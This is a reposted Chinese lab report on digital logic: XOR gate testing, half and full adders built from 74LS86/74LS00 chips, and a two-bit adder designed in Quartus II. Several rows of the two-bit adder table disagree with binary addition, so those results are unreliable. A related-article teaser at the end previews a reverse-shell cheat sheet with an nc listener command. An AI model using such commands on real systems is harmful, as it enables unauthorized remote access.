【上海大学数字逻辑实验报告】二、组合电路(一)

一、 实验目的

  1. 熟悉TTL异或门构成逻辑电路的基本方式;
  2. 熟悉组合电路的分析方法,测试组合逻辑电路的功能;
  3. 掌握构造半加器和全加器的逻辑测试;
  4. 学习使用可编程逻辑器件的开发工具 Quartus II设计电路。

二、 实验原理

  1. 异或门是数字逻辑中实现逻辑异或的逻辑门,其功能是若两个输入的电平相异,则输出高电平;若输入的两个电平相同,则输出为低电平。
  2. TTL异或门的输入输出电压关系:
输入输出
ABY
0V0V0V
0V5V5V
5V0V5V
5V5V0V
  1. 半加器是对两个一位二进制数进行相加,产生“和”与“进位”。其逻辑表达式为:
    在这里插入图片描述
    根据半加器的逻辑表达式可知,半加器可用一个异或门和两个与非门组成。
  2. 全加器是将两个一位二进制数及来自低位的进位进行相加,产生“和”与“进位”。其逻辑表达式为:
    在这里插入图片描述
    根据全加器的逻辑表达式可知,全加器可用两个异或门和三个与非门组成。

三、实验内容

实验任务一:异或门逻辑功能测试

(1) 实验步骤
  1. 将74LS86的输入引脚1A连接到K1,1B连接到K2,输出引脚连接到数码管LED6,接电接地后的示意图如下所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 拨动开关,观察数码管的变化,填入异或门的输入与输出状态记录表。
(2) 实验现象
  1. 当两个输入引脚的电平相同时,异或门的输出为逻辑低电平(0)。
  2. 当两个输入引脚的电平不同时,异或门的输出为逻辑高电平(1)。
(3) 数据记录、分析与处理

异或门的输入输出状态记录表

输入A输入B输出Y
000
011
101
110
(4) 实验结论

异或门的输出只有在两个输入的电平不同时才输出高电平,否则输出低电平。

实验任务二:使用分立元件的异或门和与非门分别构成半加器和全加器,并进行测试

(1) 实验步骤

a) 构成半加器

  1. 将K3、K4分别对应连接到74LS86和74LS00的输入引脚1B、1A;
  2. 将74LS00的输出引脚1Y同时连接到74LS00的输入引脚2A、2B,而后将74LS00的输出引脚2Y连接到LED6;
  3. 将74LS86的输出引脚1Y连接LED5。
  4. 接地接电后的示意图如下所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 拨动开关,观察数码管的变化,填入半加器的输入与输出状态记录表。

b) 构成全加器

  1. 将K2、K3、K4分别对应连接到74LS86和74LS00的输入引脚2B、1B、1A
  2. 将74LS00的输出引脚1Y、2Y、4Y分别连接到74LS00的输入引脚4B、4A、LED5;
  3. 将74LS86的输出引脚1Y连接到74LS00的输入引脚2A同时连接到74LS86的输入引脚2A,而后将74LS86的输出引脚2Y连接到LED6。
  4. 接地接电后的示意图如下所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 拨动开关,观察数码管的变化,填入一位全加器的输入与输出状态记录表。
(2) 实验现象

a) 半加器

  1. 当输入K3、K4都为逻辑低电平(0)时,LED5和LED6都不亮;
  2. 当输入K3、K4有一个为逻辑高电平(1)时,LED5会亮而LED6不亮;
  3. 当输入K3、K4都为逻辑高电平(1)时,LED5和LED6都亮。

b) 全加器

  1. 当输入K2为逻辑低电平(0),拨动K3、K4开关,发现LED5和LED6的亮灭情况和半加器一致;
  2. 当输入K2为逻辑高电平(1)时,拨动K3、K4开关,发现当K3、K4都为逻辑低电平(0)时,发现LED6会亮而LED5不亮;当K3、K4逻辑电平相反时,发现LED6不亮而LED5会亮;当K3、K4都为逻辑高电平(1)时,发现LED6和LED5都会亮。
(3) 数据记录、分析与处理

半加器的输入输出状态记录表:

输入输出
K4K3LED6LED5
0000
0101
1001
1110

全加器的输入输出状态记录表:

输入输出
K2K3K4LED6LED5
00000
00110
01010
01101
10010
10101
11001
11111

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

(4) 实验结论

a) 半加器可实现两个一位二进制数相加,输出一个结果位和进位。

b) 一位全加器可以处理低位进位,并输出本位加法进位。

实验任务三:使用Quartus II设计二位全加器

(1) 实验步骤
  1. 用Quartus II设计出如下电路:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 编译通过后进行波形仿真,验证二位全加器逻辑功能:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 仿真通过后,参照原理图定义引脚。
  2. 生成编程并将文件下载到FPGA。
  3. 用开关和发光二极管测试FPGA的功能。
  4. 记录测试结果。

(1) 数据记录、分析与处理

二位全机器的输入输出状态记录表

A1A0B1B0CS0S1
0000000
0001001
0010001
0011100
0100010
0101011
0110011
0111110
1000010
1001011
1010011
1011110
1100001
1101100
1110100
1111101
(2) 实验结论

通过使用Quartus II设计工具,我们成功地设计并测试了一个二位全加器电路。该电路的功能包括正确计算两个二位二进制数的和,并产生相应的进位信号。实验结果表明,电路在各种输入条件下都表现出良好的性能,符合预期行为。

四、建议和体会

  1. 在进行实验时,应先确认74LS00、74LS86的功能完好,而后仔细检查芯片的引脚连接,确保连接正确,以避免电路故障。
  2. 实验中要确保安全,特别是在使用电源和连接线时,避免短路和电击风险。
  3. 这个实验有助于加深对异或门和电路设计的理解,同时也提供了一个实际的编程和模拟测试经验。为了更好地理解电路的运作,我们可以尝试设计更复杂的电路或改进现有的设计。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/182604.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot+VUE3前后端分离-【支付宝支付】

1、支付宝沙箱应用申请 https://open.alipay.com/develop/sandbox/app 打开支付宝沙箱能够看到如下信息: 获取到appid; 2、获取应用私钥以及支付宝公钥 在接口加密方式选择公钥模式启用,根据操作即可获取应用公钥、应用私钥以及支付宝公钥…

服务运营 |精选:床位知多少?医院调度的几种建模方法(下)

编者按: 住院流程(Inpatient Flow)是一种通过协调和优化医院内部流程,以提高患者入院至出院期间的效率和质量的方法。住院流程通常通过医院内部信息系统和协同工作流程进行管理,以确保患者得到及时的诊断、治疗和护理…

Vue组件开发:工具提示组件的实现方法

在Web开发当中,工具提示(Tooltip)是一种常用的用户界面组件,用于向用户提供额外的信息或说明。它通常以文本形式显示在鼠标悬停或点击某个元素时,为用户提供更详细的内容展示。在本文中,我们将探讨如何使用…

异常数据检测 | Python实现基于高斯概率分布的异常检测

异常数据检测 | Python实现基于高斯概率分布的异常检测 高斯分布也称为正态分布。它可以被用来进行异常值检测,不过我们首先要假设我们的数据是正态分布的。不过这个假设不能适应于所有数据集。但如果我们做了这种假设那么它将会有一种有效的方法来发现异常值。 Scikit-Learn的…

AI PC专题:AI PC深入变革PC产业

今天分享的是AI系列深度研究报告:《AI PC专题:AI PC深入变革PC产业》。 (报告出品方:西南证券研究发展中心) 报告共计:30页 AI PC将深入变革PC产业  从出货量看,PC整体呈现周期性的特征。2…

微信小程序+中草药分类+爬虫+torch

1 介绍 本项目提供中草药数据集,使用gpu、cpu版本的torch版本进行训练,将模型部署到后端flask,最后使用微信小程序进行展示出来。 数据爬虫可以参考:http://t.csdnimg.cn/7Olus 项目中的爬虫代码,并且本项目提供相同的…

using meta-SQL 使用元SQL (3)

%FirstRows Syntax %FirstRows(n) Description The %FirstRows meta-SQL variable is replaced by database-specific SQL syntax to optimize retrieval of n rows. Depending on the database, this variable optimizes: FirstRows meta-SQL变量被特定于数据库的SQL语法…

反弹shell命令速查

反弹Shell-Linux 【监听端】centos: 192.168.35.152 【被控端】kali: 192.168.35.128# 监听端执行 [root@localhost ~]# nc -vvl 7777 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::7777 Ncat: Listening on 0.0.0.0:7777bash ┌──(root@kali)-[/h…

基于YOLOv5的人群计数系统设计系统

欢迎大家点赞、收藏、关注、评论啦 ,由于篇幅有限,只展示了部分核心代码。 文章目录 一项目简介系统概述系统功能核心技术系统架构系统优势 二、功能三、系统四. 总结  总结 一项目简介 基于YOLOv5的人群计数系统设计是一个非常有趣且具有挑战性的项目…

离散时间信号的分析(数字信号处理实验1-2)

前言:该系列实验均使用matlab完成,实验课程为《数字信号处理》 文章目录 一.题目二.实验目的三.实验仪器四.实验原理实验所用的matlab函数解析离散时间信号实验原理: 五.实验步骤六.实验代码及实验结果完整代码1.线性卷积代码2.循环卷积运算…

(亲测有效)解决windows11无法使用1500000波特率的问题

大家好!我是编码小哥,欢迎关注,持续分享更多实用的编程经验和开发技巧,共同进步。 1、问题描述 从图1可以看出串口是正常的,安装的驱动是CP210xVCPInstaller_x64.exe,但是从图2可以看出,串口拒…

HarmonyOS ArkTS 使用DevEco Studio高效开发(十三)

1、快速开始 打开IDE后,在IDE上边栏有个Help入口,里面有一个Quick Start快速开始入口,点击进去就会进入到快速开始面板。在这个面板中会有一些快速入门的实验指导和一些常用的链接。快速开始相当于一个收藏夹,把最常用的一些学习…

苍穹外卖--添加购物车

购物车数据是关联用户的,在表结构中,我们需要记录,每一个用户的购物车数据是哪些菜品列表展示出来的既有套餐,又有菜品,如果用户选择的是套餐,就保存套餐ID(setmeal_id),如果用户选择的是菜品&a…

git stash save untracked not staged

git stash save untracked not staged 如图 解决方案: git stash save "tag标记信息" --include-untracked或者: git stash save -u "tag标记信息" git stash clear清空本地暂存代码_zhangphil的博客-CSDN博客文章浏览阅读486次。…

代码的并发问题

List 在遍历时候删除元素 为list添加元素&#xff0c;通过for或者通过foreach删除都存在删除异常&#xff0c;在捕获异常的时候注意异常信息的简化消息传递&#xff0c;容易造成异常错误的简化 Testpublic void testException(){List<Integer> list new ArrayList<…

【业务实战】mysql数据库中<标签tag功能>一般是怎么设计的?

【业务实战】mysql数据库中<标签tag功能>一般是怎么设计的? 在 MySQL 数据库中设计标签系统&#xff0c;可以采用以下两种常见的设计方案&#xff1a; 标签关联表&#xff1a; 创建一个标签表&#xff0c;用于存储所有可用的标签。该表可以包含字段如标签ID&#xff08…

银河麒麟高级服务器操作系统V10安装达梦数据库管理系统DM8——单实例

一、介绍 之前介绍过供个人学习在VMware虚拟机上安装银河麒麟高级服务器操作系统V10&#xff0c;有兴趣的可以去看看&#xff08;银河麒麟V10安装&#xff09;&#xff0c;本次主要学习在银河麒麟V10上安装达梦数据库-DM8。DM8是达梦公司在总结DM系列产品研发与应用经验的基础…

Unity优化篇:对于unity DrawCall/Mesh/纹理压缩/内存等方面的常规调试和优化手段

对于Unity的DrawCall、Mesh、纹理压缩、内存等方面的常规调试和优化手段&#xff0c;我都有一定的了解。以下是一些常见的优化手段&#xff1a; 减少DrawCall&#xff1a;这是提高性能的关键。尽可能合并相同的材质和纹理&#xff0c;使用LOD&#xff08;Levels of Detail&…

记录一次YAMLException异常

记录一次YAMLException异常 ✅作者简介&#xff1a;大家好&#xff0c;我是Leo&#xff0c;热爱Java后端开发者&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a;Leo的博客 &#x1f49e;当前专栏&#xff1a; 报错以及B…

C语言——深入理解指针(3)

目录 1. 字符指针 2. 数组指针 2.1 数组指针变量 2.2 数组指针变量的初始化 3.二维数组传参&#xff08;本质&#xff09; 4. 函数指针 4.1 函数指针变量的创建 4.2 函数指针的使用 4.3 typedef 5. 函数指针数组 6. 转移表&#xff08;函数指针数组的使用&#xff…